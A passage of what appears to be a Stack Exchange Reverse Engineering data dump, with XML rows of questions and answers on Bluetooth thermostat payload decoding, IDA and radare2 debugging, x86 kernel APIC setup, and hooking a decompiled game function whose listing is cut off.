LastActivityDate="2020-11-13T20:35:55.717" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26299" PostTypeId="1" AcceptedAnswerId="26301" CreationDate="2020-11-14T00:10:35.547" Score="2" ViewCount="361" Body="&lt;p&gt;I am trying to reverse engineering an &lt;em&gt;ENSTO&lt;/em&gt; &amp;quot;smart&amp;quot; bluetooth thermostat, which i just got installed in the house. The thermostat due to some technical and electrical challenges sometimes got placed at weird positions, so I thought, I am giving this a try, and see how far I can get.&lt;/p&gt;&#xA;&lt;p&gt;In their official app, i was playing around to generat some log, so I managed to sniff the bluetooth packages, then using &lt;em&gt;wireshark&lt;/em&gt;, noticated some patterns, but having hard times actually understanding them:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/8bCYM.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8bCYM.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The first &lt;code&gt;01&lt;/code&gt; or &lt;code&gt;00&lt;/code&gt; definitely indicates whether we are increasing or decreasing, but what the rest could be?&lt;/p&gt;&#xA;&lt;p&gt;Any tips, ideas, and suggestions are welcome!&lt;/p&gt;&#xA;&lt;p&gt;I am a fullstack engineer, and pretty new all these iot and smarthome things, but trying my best.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&#xA;ACTION  PAYLOAD&#xA;INCREASE_BY_5_IN_ONE_HOUR   Value: 01f401143c003c00&#xA;DECREASE_BY_5_IN_ONE_HOUR   Value: 00f401143c003c00&#xA;    &#xA;INCREASE_BY_3_IN_ONE_HOUR   Value: 012c010a3c003c00&#xA;DECREASE_BY_3_IN_ONE_HOUR   Value: 002c010a3c003c00&#xA;    &#xA;INCREASE_BY_1_IN_3_HOURS    Value: 01640014b400b400&#xA;DECREASE_BY_1_IN_3_HOURS    Value: 00640014b400b400&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="34916" LastActivityDate="2020-12-28T13:19:26.017" Title="reverse engineering bluetooth smart thermostat payload" Tags="|bluetooth|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="26301" PostTypeId="2" ParentId="26299" CreationDate="2020-11-14T10:50:12.027" Score="2" Body="&lt;p&gt;Some elements of answer:&lt;br&gt;&#xA;INCREASE_BY_5_IN_ONE_HOUR Value: 01f401143c003c00&lt;br&gt;&#xA;01=increase&lt;br&gt;&#xA;f401 = 0x1f4=500 times 1/100 of degree (little-endian)&lt;br&gt;&#xA;14 =0x14=20  could be a step ?(other case 0x0a=10 )&lt;br&gt;&#xA;3c00 =0x3c = 60 minutes&lt;br&gt; ( 2 times to check the validity of the frame ?)&lt;/p&gt;&#xA;&lt;p&gt;more data would be needed to go further&lt;/p&gt;&#xA;" OwnerUserId="34077" LastEditorUserId="34077" LastEditDate="2020-11-14T11:19:01.610" LastActivityDate="2020-11-14T11:19:01.610" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26303" PostTypeId="2" ParentId="6440" CreationDate="2020-11-14T18:51:59.520" Score="1" Body="&lt;p&gt;I filed a FOIA request with the DMV. As I said many years ago, this was almost definitely protected information and likely to be rejected, but here's the formal response to that effect.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Request #W165699&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Under the New Jersey Open Public Records Act, N.J.S.A. 47:1A-1 et seq., I am requesting an opportunity to inspect or obtain copies of public records that describe the algorithm for mapping first and last names to drivers license ID numbers (a Soundex-esque derivative). If there are any fees for searching or copying these records, please inform me if the cost will exceed $10. However, I would also like to request a waiver of all fees in that&#xA;the disclosure of the requested information is in the public interest. This information is not being sought for commercial purposes.The New Jersey Open Public Records Act requires a response time of seven business days. If access to the records I am requesting will take longer than this amount of time, please contact me with information about when I might expect copies or the ability to inspect the requested records. Preferably I would&#xA;like to receive all information through electronic records sent to my email address. If you deny any or all of this request, please cite each specific exemption you feel justifies the refusal to release the information and notify me of the appeal procedures available to me under the law. Thank you for considering my request.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Response (Excerpted)&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;The algorithm information you seek is exempt from disclosure by the Drivers' Privacy Protection Act, the&#xA;Open Public Records Act, New Jersey Court Rules and Executive Order Number 21.&lt;/p&gt;&#xA;&lt;p&gt;Further, N.J.S.A. 47:1A-1.1 provides:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;A government record shall not include the following&#xA;information which is deemed to be confidential for&#xA;the purposes of P.L. 1963, c. 73 (C.47:1A-1 et seq.)&#xA;as amended and supplemented:...trade secrets and&#xA;proprietary commercial or financial information&#xA;obtained from any souce...&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="8389" LastActivityDate="2020-11-14T18:51:59.520" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26304" PostTypeId="1" AcceptedAnswerId="31935" CreationDate="2020-11-14T20:41:52.563" Score="5" ViewCount="202" Body="&lt;p&gt;I'm decompiling some Direct3D code that makes a lot of indirect calls to __stdcall functions.&lt;/p&gt;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;call dword ptr [edx+0xC8h]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;which is really:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;pD3DDevice-&amp;gt;SetRenderState();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;IDA doesn't correctly guess the stack pointer change of these calls in every case, so I have to go through and Alt+K the correct SP value manually.&lt;/p&gt;&#xA;&lt;p&gt;But after doing this I start running into a problem where one side of a branch will have the wrong SP value&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/x9AkJ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/x9AkJ.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I can Alt-K the first instruction with the erroneous SP value but this only takes effect on the next instruction.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/uj67J.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/uj67J.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="34922" LastEditorUserId="34922" LastEditDate="2023-04-25T12:51:42.283" LastActivityDate="2023-06-04T12:05:22.980" Title="IDA stack depth differences when branching" Tags="|ida|stack|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="26305" PostTypeId="1" CreationDate="2020-11-14T21:38:56.023" Score="1" ViewCount="199" Body="&lt;p&gt;I am trying to solve a CTF challenge but I am very much out of my depth and nothing online is helping me very much. This is what I'm working with currently&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;|           0x55b3fd508a41      4889e5         mov rbp, rsp                                                                                                   &#xA;|           0x55b3fd508a44      4881ec900100.  sub rsp, 0x190                                                                                                 &#xA;|           0x55b3fd508a4b      89bd7cfeffff   mov dword [local_184h], edi       ; argc                                                                       &#xA;|           0x55b3fd508a51      4889b570feff.  mov qword [local_190h], rsi       ; argv                                                                       &#xA;|           0x55b3fd508a58      64488b042528.  mov rax, qword fs:[0x28]       ; [0x28:8]=-1 ; '(' ; 40                                                        &#xA;|           0x55b3fd508a61      488945f8       mov qword [local_8h], rax                                                                                      &#xA;|           0x55b3fd508a65      31c0           xor eax, eax                                                                                                   &#xA;|           0x55b3fd508a67      c78588feffff.  mov dword [local_178h], 0x2d       ; '-' ; 45                                                                  &#xA;|           0x55b3fd508a71      c7858cfeffff.  mov dword [local_174h], 0x32       ; '2' ; 50                                                                  &#xA;|           0x55b3fd508a7b      83bd7cfeffff.  cmp dword [local_184h], 1       ; rdi ; [0x1:4]=-1                                                             &#xA;|       ,=&amp;lt; 0x55b3fd508a82      0f8e77010000   jle 0x55b3fd508bff      ;[1]                                                                                   &#xA;|       |   0x55b3fd508a88      488b8570feff.  mov rax, qword [local_190h]                                                                                    &#xA;|       |   0x55b3fd508a8f      4883c008       add rax, 8                                                                                                     &#xA;|       |   0x55b3fd508a93      488b00         mov rax, qword [rax]                                                                                           &#xA;|       |   0x55b3fd508a96      488d35fb0200.  lea rsi, str.calc       ; 0x55b3fd508d98 ; &amp;quot;calc&amp;quot;                                                              &#xA;|       |   0x55b3fd508a9d      4889c7         mov rdi, rax   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I am interested in the line &lt;code&gt;0x55b3fd508a7b&lt;/code&gt;, what does &lt;code&gt;local_184h&lt;/code&gt; mean? How do I edit this value in order to change the result of the upcoming &lt;code&gt;jle&lt;/code&gt;? Or, how do I change the result of the &lt;code&gt;jle&lt;/code&gt; command without having to change &lt;code&gt;local_184h&lt;/code&gt;? I read that it checks the &lt;a href=&quot;https://en.wikipedia.org/wiki/FLAGS_register&quot; rel=&quot;nofollow noreferrer&quot;&gt;sign flag&lt;/a&gt; so I edited the &lt;code&gt;rflags&lt;/code&gt; register to be &lt;code&gt;0x0080&lt;/code&gt; less than it was, hoping that would change the outcome of the &lt;code&gt;jle&lt;/code&gt; but it didn't.&lt;/p&gt;&#xA;" OwnerUserId="34914" LastActivityDate="2021-04-17T14:49:13.097" Title="How to change local_184h to skip past jump commands with Radare2?" Tags="|x86|radare2|register|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26307" PostTypeId="1" AcceptedAnswerId="26336" CreationDate="2020-11-15T13:18:34.943" Score="0" ViewCount="582" Body="&lt;p&gt;So I was wondering if is there a way for IDA to appears in the righ click options of an executable.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/OC5ZE.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/OC5ZE.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;As you can see, &lt;code&gt;Debug with x64dbg&lt;/code&gt; was built by itself, IDA 32 didn't do, so I just changed it in the Registry Editor, which it works, but it doesn't show the IDA's icon, also I'm pretty sure this not the right way since I saw some people with this option just like x64dbg is doing it.&lt;/p&gt;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="34510" LastActivityDate="2020-11-19T01:02:25.407" Title="Debug with IDA Pro right click option" Tags="|ida|x64dbg|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26308" PostTypeId="1" AcceptedAnswerId="26347" CreationDate="2020-11-15T13:31:49.217" Score="0" ViewCount="198" Body="&lt;p&gt;I'm currently programming a x64 kernel and need to set the Apic mode to symmetric I/O Mode. The Multiprocessor Specification from Intel at Page 31 says that to enable this mode you have to write 01H to the IMCR memory register. The problem is that this memory register (has to be accessed over outb/inb)  is absolutely nowhere documented.&#xA;Can someone point me to the official spec where it's written down?&lt;/p&gt;&#xA;" OwnerUserId="34924" LastActivityDate="2020-11-22T23:03:58.383" Title="Where is the IMCR defined in the docs?" Tags="|x86|kernel|documentation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26309" PostTypeId="1" CreationDate="2020-11-15T15:04:36.863" Score="1" ViewCount="840" Body="&lt;p&gt;I need to hook a  __usercall function in particular I need to read only the first parameter:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;char __usercall sub_4F3E6D@&amp;lt;al&amp;gt;(char *Src@&amp;lt;ecx&amp;gt;, int a2@&amp;lt;edx&amp;gt;, int a3, int a4, char a5, char a6, char a7, char a8, int a9)&#xA;{&#xA;  int v9; // edi&#xA;  char v10; // bl&#xA;  char *v11; // esi&#xA;  unsigned __int8 v12; // al&#xA;  signed int v13; // edx&#xA;  int v14; // eax&#xA;  signed int v15; // eax&#xA;  signed int v16; // edi&#xA;  char *v17; // eax&#xA;  char *v18; // esi&#xA;  float v20; // xmm1_4&#xA;  size_t v21; // ST04_4&#xA;  float v22; // [esp+18h] [ebp-A8h]&#xA;  int v23; // [esp+1Ch] [ebp-A4h]&#xA;  char v24; // [esp+24h] [ebp-9Ch]&#xA;  int v25; // [esp+2Ch] [ebp-94h]&#xA;  char Dst; // [esp+40h] [ebp-80h]&#xA;  int v27; // [esp+98h] [ebp-28h]&#xA;  int v28; // [esp+9Ch] [ebp-24h]&#xA;  float v29; // [esp+ACh] [ebp-14h]&#xA;  float v30; // [esp+B0h] [ebp-10h]&#xA;&#xA;  v9 = a2;&#xA;  v10 = 0;&#xA;  v11 = Src;&#xA;  v23 = a2;&#xA;  if ( a9 )&#xA;    *(_DWORD *)a9 = 0;&#xA;  if ( !dword_897628 || !Src || !*Src )&#xA;    return 0;&#xA;  if ( a6 )&#xA;  {&#xA;    v12 = *((_BYTE *)dword_8CF880 + 2232);&#xA;  }&#xA;  else if ( a7 )&#xA;  {&#xA;    v12 = *((_BYTE *)dword_8CF880 + 2234);&#xA;  }&#xA;  else&#xA;  {&#xA;    v12 = a8 ? *((_BYTE *)dword_8CF880 + 2233) : *((_BYTE *)dword_8CF880 + 2252);&#xA;  }&#xA;  v22 = (float)v12 * 0.0099999998;&#xA;  if ( v22 &amp;lt; 0.0099999998 &amp;amp;&amp;amp; a2 != 1481317962 )&#xA;    return 0;&#xA;  if ( sub_4F4463(a2, 0) )&#xA;    return 0;&#xA;  memset(&amp;amp;Dst, 0, 0x78u);&#xA;  sub_410BA2(&amp;amp;Dst, 3);&#xA;  if ( a6 )&#xA;  {&#xA;    v28 = 9;&#xA;  }&#xA;  else if ( a7 )&#xA;  {&#xA;    v27 |= 4u;&#xA;  }&#xA;  else if ( !a8 )&#xA;  {&#xA;    v27 |= 0x40000u;&#xA;  }&#xA;  v13 = 1;&#xA;  if ( a5 || a6 )&#xA;  {&#xA;    v14 = v27 | 1;&#xA;    v27 |= 1u;&#xA;    if ( a6 )&#xA;      v27 = v14 | 8;&#xA;  }&#xA;  if ( *(float *)&amp;amp;a3 &amp;gt; 0.0099999998 )&#xA;    sub_4F0812(&amp;amp;Dst, 1);&#xA;  sub_4F0855(&amp;amp;Dst, v13);&#xA;  v27 |= 0x40u;&#xA;  *(_DWORD *)a4 = 0;&#xA;  v30 = fminf(fmaxf(v22, 0.0), 1.0);&#xA;  v29 = v30;&#xA;  sub_410B78(&amp;amp;v24);&#xA;  v15 = v25;&#xA;  if ( a5 )&#xA;    v15 = 1;&#xA;  v25 = v15;&#xA;  v16 = v9 == 1481317962 ? 2147483646 : sub_4F353D(&amp;amp;v24, 0);&#xA;  if ( !(unsigned __int8)sub_4F349C(v16) )&#xA;    return 0;&#xA;  v17 = sub_4F1BBB(v11, v23, 0, (int)&amp;amp;Dst);&#xA;  v18 = v17;&#xA;  if ( !v17 )&#xA;    return 0;&#xA;  if ( dword_897628 )&#xA;    v10 = sub_4F11D7(v17, &amp;amp;v24);&#xA;  if ( !v10 )&#xA;  {&#xA;    sub_4F3A95(v18);&#xA;    return 0;&#xA;  }&#xA;  if ( v18[34] )&#xA;    v20 = 9999.0;&#xA;  else&#xA;    v20 = (float)*(signed int *)(*((_DWORD *)v18 + 3) + 172) / (float)*(unsigned int *)(*((_DWORD *)v18 + 3) + 156);&#xA;  *(float *)a4 = v20;&#xA;  v21 = dword_897634;&#xA;  *((_DWORD *)v18 + 5) = v16;&#xA;  qsort(dword_897650, v21, 4u, sub_4F37D5);&#xA;  if ( a9 )&#xA;    *(_DWORD *)a9 = *(_DWORD *)v18;&#xA;  return 1;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;here the assemply:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;.text:004F3E6D ; =============== S U B R O U T I N E =======================================&#xA;.text:004F3E6D&#xA;.text:004F3E6D ; Attributes: bp-based frame&#xA;.text:004F3E6D&#xA;.text:004F3E6D ; int __usercall sub_4F3E6D@&amp;lt;eax&amp;gt;(char *Src@&amp;lt;ecx&amp;gt;, int, int, char, char, char, char, int)&#xA;.text:004F3E6D sub_4F3E6D      proc near               ; CODE XREF: StartAudio2D(char const * const,float,float,float,bool,bool)+3B↑p&#xA;.text:004F3E6D                                         ; sub_4EDCE9+14E↑p ...&#xA;.text:004F3E6D&#xA;.text:004F3E6D var_B0          = dword ptr -0B0h&#xA;.text:004F3E6D var_AC          = dword ptr -0ACh&#xA;.text:004F3E6D var_A8          = dword ptr -0A8h&#xA;.text:004F3E6D var_A4          = dword ptr -0A4h&#xA;.text:004F3E6D var_A0          = dword ptr -0A0h&#xA;.text:004F3E6D var_9C          = byte ptr -9Ch&#xA;.text:004F3E6D var_94          = dword ptr -94h&#xA;.text:004F3E6D Dst             = byte ptr -80h&#xA;.text:004F3E6D var_28          = dword ptr -28h&#xA;.text:004F3E6D var_24          = dword ptr -24h&#xA;.text:004F3E6D var_14          = dword ptr -14h&#xA;.text:004F3E6D var_10          = dword ptr -10h&#xA;.text:004F3E6D var_4           = dword ptr -4&#xA;.text:004F3E6D arg_0           = dword ptr  8&#xA;.text:004F3E6D arg_4           = dword ptr  0Ch&#xA;.text:004F3E6D arg_8           = byte ptr  10h&#xA;.text:004F3E6D arg_C           = byte ptr  14h&#xA;.text:004F3E6D arg_10          = byte ptr  18h&#xA;.text:004F3E6D arg_14          = byte ptr  1Ch&#xA;.text:004F3E6D arg_18          = dword ptr  20h&#xA;.text:004F3E6D&#xA;.text:004F3E6D                 push    ebp&#xA;.text:004F3E6E                 mov     ebp, esp&#xA;.text:004F3E70                 and     esp, 0FFFFFFF8h&#xA;.text:004F3E73                 sub     esp, 0B4h&#xA;.text:004F3E79                 mov     eax, ___security_cookie&#xA;.text:004F3E7E                 xor     eax, esp&#xA;.text:004F3E80                 mov     [esp+0B4h+var_4], eax&#xA;.text:004F3E87                 mov     eax, [ebp+arg_4]&#xA;.text:004F3E8A                 push    ebx&#xA;.text:004F3E8B                 push    esi&#xA;.text:004F3E8C                 push    edi&#xA;.text:004F3E8D                 mov     [esp+0C0h+var_B0], eax&#xA;.text:004F3E91                 mov     edi, edx&#xA;.text:004F3E93                 mov     eax, [ebp+arg_18]&#xA;.text:004F3E96                 xor     ebx, ebx&#xA;.text:004F3E98                 movss   [esp+0C0h+var_AC], xmm3&#xA;.text:004F3E9E                 mov     esi, ecx&#xA;.text:004F3EA0                 mov     [esp+0C0h+var_A4], edi&#xA;.text:004F3EA4                 mov     [esp+0C0h+var_A0], eax&#xA;.text:004F3EA8                 test    eax, eax&#xA;.text:004F3EAA                 jz      short loc_4F3EAE&#xA;.text:004F3EAC                 mov     [eax], ebx&#xA;.text:004F3EAE&#xA;.text:004F3EAE loc_4F3EAE:                             ; CODE XREF: sub_4F3E6D+3D↑j&#xA;.text:004F3EAE                 cmp     dword_897628, ebx&#xA;.text:004F3EB4                 jz      loc_4F4093&#xA;.text:004F3EBA                 test    esi, esi&#xA;.text:004F3EBC                 jz      loc_4F4093&#xA;.text:004F3EC2                 cmp     [esi], bl&#xA;.text:004F3EC4                 jz      loc_4F4093&#xA;.text:004F3ECA                 mov     eax, dword_8CF880&#xA;.text:004F3ECF                 cmp     [ebp+arg_C], bl&#xA;.text:004F3ED2                 jz      short loc_4F3EDC&#xA;.text:004F3ED4                 mov     al, [eax+8B8h]&#xA;.text:004F3EDA                 jmp     short loc_4F3EFC&#xA;.text:004F3EDC ; ---------------------------------------------------------------------------&#xA;.text:004F3EDC&#xA;.text:004F3EDC loc_4F3EDC:                             ; CODE XREF: sub_4F3E6D+65↑j&#xA;.text:004F3EDC                 cmp     [ebp+arg_10], bl&#xA;.text:004F3EDF                 jz      short loc_4F3EE9&#xA;.text:004F3EE1                 mov     al, [eax+8BAh]&#xA;.text:004F3EE7                 jmp     short loc_4F3EFC&#xA;.text:004F3EE9 ; ---------------------------------------------------------------------------&#xA;.text:004F3EE9&#xA;.text:004F3EE9 loc_4F3EE9:                             ; CODE XREF: sub_4F3E6D+72↑j&#xA;.text:004F3EE9                 cmp     [ebp+arg_14], bl&#xA;.text:004F3EEC                 jz      short loc_4F3EF6&#xA;.text:004F3EEE                 mov     al, [eax+8B9h]&#xA;.text:004F3EF4                 jmp     short loc_4F3EFC&#xA;.text:004F3EF6 ; ---------------------------------------------------------------------------&#xA;.text:004F3EF6&#xA;.text:004F3EF6 loc_4F3EF6:                             ; CODE XREF: sub_4F3E6D+7F↑j&#xA;.text:004F3EF6                 mov     al, [eax+8CCh]&#xA;.text:004F3EFC&#xA;.text:004F3EFC loc_4F3EFC:                             ; CODE XREF: sub_4F3E6D+6D↑j&#xA;.text:004F3EFC                                         ; sub_4F3E6D+7A↑j ...&#xA;.text:004F3EFC                 movss   xmm1, ds:dword_82A2D8&#xA;.text:004F3F04                 movzx   eax, al&#xA;.text:004F3F07                 movd    xmm0, eax&#xA;.text:004F3F0B                 cvtdq2ps xmm0, xmm0&#xA;.text:004F3F0E                 mulss   xmm0, xmm1&#xA;.text:004F3F12                 comiss  xmm1, xmm0&#xA;.text:004F3F15                 movss   [esp+0C0h+var_A8], xmm0&#xA;.text:004F3F1B                 jbe     short loc_4F3F29&#xA;.text:004F3F1D                 cmp     edi, 584B1E4Ah&#xA;.text:004F3F23                 jnz     loc_4F4093&#xA;.text:004F3F29&#xA;.text:004F3F29 loc_4F3F29:                             ; CODE XREF: sub_4F3E6D+AE↑j&#xA;.text:004F3F29                 xor     edx, edx&#xA;.text:004F3F2B                 mov     ecx, edi&#xA;.text:004F3F2D                 call    sub_4F4463&#xA;.text:004F3F32                 test    eax, eax&#xA;.text:004F3F34                 jnz     loc_4F4093&#xA;.text:004F3F3A                 push    78h             ; Size&#xA;.text:004F3F3C                 lea     eax, [esp+0C4h+Dst]&#xA;.text:004F3F40                 push    ebx             ; Val&#xA;.text:004F3F41                 push    eax             ; Dst&#xA;.text:004F3F42                 call    memset&#xA;.text:004F3F47                 add     esp, 0Ch&#xA;.text:004F3F4A                 lea     ecx, [esp+0C0h+Dst] ; Dst&#xA;.text:004F3F4E                 push    3               ; int&#xA;.text:004F3F50                 call    sub_410BA2&#xA;.text:004F3F55                 mov     cl, [ebp+arg_C]&#xA;.text:004F3F58                 test    cl, cl&#xA;.text:004F3F5A                 jz      short loc_4F3F69&#xA;.text:004F3F5C                 mov     [esp+0C0h+var_24], 9&#xA;.text:004F3F67                 jmp     short loc_4F3F88&#xA;.text:004F3F69 ; ---------------------------------------------------------------------------&#xA;.text:004F3F69&#xA;.text:004F3F69 loc_4F3F69:                             ; CODE XREF: sub_4F3E6D+ED↑j&#xA;.text:004F3F69                 cmp     [ebp+arg_10], bl&#xA;.text:004F3F6C                 jz      short loc_4F3F78&#xA;.text:004F3F6E                 or      [esp+0C0h+var_28], 4&#xA;.text:004F3F76                 jmp     short loc_4F3F88&#xA;.text:004F3F78 ; ---------------------------------------------------------------------------&#xA;.text:004F3F78&#xA;.text:004F3F78 loc_4F3F78:                             ; CODE XREF: sub_4F3E6D+FF↑j&#xA;.text:004F3F78                 cmp     [ebp+arg_14], bl&#xA;.text:004F3F7B                 jnz     short loc_4F3F88&#xA;.text:004F3F7D                 or      [esp+0C0h+var_28], 40000h&#xA;.text:004F3F88&#xA;.text:004F3F88 loc_4F3F88:                             ; CODE XREF: sub_4F3E6D+FA↑j&#xA;.text:004F3F88                                         ; sub_4F3E6D+109↑j ...&#xA;.text:004F3F88                 xor     edx, edx&#xA;.text:004F3F8A                 inc     edx&#xA;.text:004F3F8B                 cmp     [ebp+arg_8], bl&#xA;.text:004F3F8E                 jnz     short loc_4F3F94&#xA;.text:004F3F90                 test    cl, cl&#xA;.text:004F3F92                 jz      short loc_4F3FB2&#xA;.text:004F3F94&#xA;.text:004F3F94 loc_4F3F94:                             ; CODE XREF: sub_4F3E6D+121↑j&#xA;.text:004F3F94                 mov     eax, [esp+0C0h+var_28]&#xA;.text:004F3F9B                 or      eax, edx&#xA;.text:004F3F9D                 mov     [esp+0C0h+var_28], eax&#xA;.text:004F3FA4                 test    cl, cl&#xA;.text:004F3FA6                 jz      short loc_4F3FB2&#xA;.text:004F3FA8                 or      eax, 8&#xA;.text:004F3FAB                 mov     [esp+0C0h+var_28], eax&#xA;.text:004F3FB2&#xA;.text:004F3FB2 loc_4F3FB2:                             ; CODE XREF: sub_4F3E6D+125↑j&#xA;.text:004F3FB2                                         ; sub_4F3E6D+139↑j&#xA;.text:004F3FB2                 movss   xmm1, [ebp+arg_0]&#xA;.text:004F3FB7                 comiss  xmm1, ds:dword_82A2D8&#xA;.text:004F3FBE                 jbe     short loc_4F3FC9&#xA;.text:004F3FC0                 lea     ecx, [esp+0C0h+Dst]&#xA;.text:004F3FC4                 call    sub_4F0812&#xA;.text:004F3FC9&#xA;.text:004F3FC9 loc_4F3FC9:                             ; CODE XREF: sub_4F3E6D+151↑j&#xA;.text:004F3FC9                 movss   xmm1, [esp+0C0h+var_AC]&#xA;.text:004F3FCF                 lea     ecx, [esp+0C0h+Dst]&#xA;.text:004F3FD3                 call    sub_4F0855&#xA;.text:004F3FD8                 movss   xmm0, [esp+0C0h+var_A8]&#xA;.text:004F3FDE                 lea     ecx, [esp+0C0h+var_9C]&#xA;.text:004F3FE2                 maxss   xmm0, ds:dword_82A218&#xA;.text:004F3FEA                 mov     eax, [esp+0C0h+var_B0]&#xA;.text:004F3FEE                 or      [esp+0C0h+var_28], 40h&#xA;.text:004F3FF6                 minss   xmm0, ds:dword_82A46C&#xA;.text:004F3FFE                 and     [eax], ebx&#xA;.text:004F4000                 movss   [esp+0C0h+var_10], xmm0&#xA;.text:004F4009                 movss   [esp+0C0h+var_14], xmm0&#xA;.text:004F4012                 call    sub_410B78&#xA;.text:004F4017                 cmp     [ebp+arg_8], bl&#xA;.text:004F401A                 mov     eax, [esp+0C0h+var_94]&#xA;.text:004F401E                 push    1&#xA;.text:004F4020                 pop     ecx&#xA;.text:004F4021                 cmovnz  eax, ecx&#xA;.text:004F4024                 mov     [esp+0C0h+var_94], eax&#xA;.text:004F4028                 cmp     edi, 584B1E4Ah&#xA;.text:004F402E                 jnz     short loc_4F4037&#xA;.text:004F4030                 mov     edi, 7FFFFFFEh&#xA;.text:004F4035                 jmp     short loc_4F404F&#xA;.text:004F4037 ; ---------------------------------------------------------------------------&#xA;.text:004F4037&#xA;.text:004F4037 loc_4F4037:                             ; CODE XREF: sub_4F3E6D+1C1↑j&#xA;.text:004F4037                 lea     eax, [esp+0C0h+var_9C]&#xA;.text:004F403B                 mov     ecx, offset unk_59D561C&#xA;.text:004F4040                 push    ebx&#xA;.text:004F4041                 push    eax&#xA;.text:004F4042                 lea     edx, [esp+0C8h+Dst]&#xA;.text:004F4046                 call    sub_4F353D&#xA;.text:004F404B                 pop     ecx&#xA;.text:004F404C                 pop     ecx&#xA;.text:004F404D                 mov     edi, eax&#xA;.text:004F404F&#xA;.text:004F404F loc_4F404F:                             ; CODE XREF: sub_4F3E6D+1C8↑j&#xA;.text:004F404F                 mov     ecx, edi&#xA;.text:004F4051                 call    sub_4F349C&#xA;.text:004F4056                 test    al, al&#xA;.text:004F4058                 jz      short loc_4F4093&#xA;.text:004F405A                 mov     edx, [esp+0C0h+var_A4]&#xA;.text:004F405E                 lea     eax, [esp+0C0h+Dst]&#xA;.text:004F4062                 push    eax             ; int&#xA;.text:004F4063                 push    ebx             ; int&#xA;.text:004F4064                 mov     ecx, esi        ; Src&#xA;.text:004F4066                 call    sub_4F1BBB&#xA;.text:004F406B                 mov     esi, eax&#xA;.text:004F406D                 pop     ecx&#xA;.text:004F406E                 pop     ecx&#xA;.text:004F406F                 test    esi, esi&#xA;.text:004F4071                 jz      short loc_4F4093&#xA;.text:004F4073                 cmp     dword_897628, ebx&#xA;.text:004F4079                 jz      short loc_4F4088&#xA;.text:004F407B                 lea     edx, [esp+0C0h+var_9C]&#xA;.text:004F407F                 mov     ecx, esi&#xA;.text:004F4081                 call    sub_4F11D7&#xA;.text:004F4086                 mov     bl, al&#xA;.text:004F4088&#xA;.text:004F4088 loc_4F4088:                             ; CODE XREF: sub_4F3E6D+20C↑j&#xA;.text:004F4088                 test    bl, bl&#xA;.text:004F408A                 jnz     short loc_4F40AA&#xA;.text:004F408C                 mov     ecx, esi&#xA;.text:004F408E                 call    sub_4F3A95&#xA;.text:004F4093&#xA;.text:004F4093 loc_4F4093:                             ; CODE XREF: sub_4F3E6D+47↑j&#xA;.text:004F4093                                         ; sub_4F3E6D+4F↑j ...&#xA;.text:004F4093                 xor     al, al&#xA;.text:004F4095&#xA;.text:004F4095 loc_4F4095:                             ; CODE XREF: sub_4F3E6D+2B2↓j&#xA;.text:004F4095                 mov     ecx, [esp+0C0h+var_4]&#xA;.text:004F409C                 pop     edi&#xA;.text:004F409D                 pop     esi&#xA;.text:004F409E                 pop     ebx&#xA;.text:004F409F                 xor     ecx, esp&#xA;.text:004F40A1                 call    @__security_check_cookie@4 ; __security_check_cookie(x)&#xA;.text:004F40A6                 mov     esp, ebp&#xA;.text:004F40A8                 pop     ebp&#xA;.text:004F40A9                 retn&#xA;.text:004F40AA ; ---------------------------------------------------------------------------&#xA;.text:004F40AA&#xA;.text:004F40AA loc_4F40AA:                             ; CODE XREF: 